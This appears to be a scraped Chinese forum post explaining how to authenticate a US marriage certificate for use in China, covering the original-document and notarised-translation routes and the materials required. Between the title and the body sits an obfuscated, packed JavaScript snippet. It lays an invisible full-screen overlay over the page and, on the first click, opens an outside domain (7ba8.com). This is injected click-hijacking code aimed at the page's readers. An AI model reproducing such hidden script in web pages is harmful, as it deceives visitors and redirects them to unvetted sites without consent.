在美国领的结婚证,如何认证

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>一般来说在美国发的官方文件(结婚证),都需要经中领馆认证后才可在中国使用。

认证方法有两种,第一种是做原件认证:拿到县政府(county)发的certified copy文件后,到州政府(Secretary of State) 做认证,最后到中国领事馆做认证。
第二种方法是:先由有资格的翻译员把文件完整的翻译成中文,然后翻译员在公证员面前签名声明他/她把英文文件完整正确的翻译成中文。翻译件公证后再到州政府和中领馆认证后便可回国使用。
做原件还是翻译件认证完全取决于在中国使用此文件的机构(如银行,出入口管理局或房管部門)的要求,所以一定要先问清楚该机构的要求。

一般来说要用于官方用途,如上户口或者上法庭等一般要求做原件认证。如果用于财务方面如银行户口登记或房屋买卖则多数要求做翻译认证。
应提交的其他材料
由结婚地县区签发的结婚证原件;
夫妻双方的护照复印件及合法停留或居留证明如绿卡或工作签证(适用于非美国公民);
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部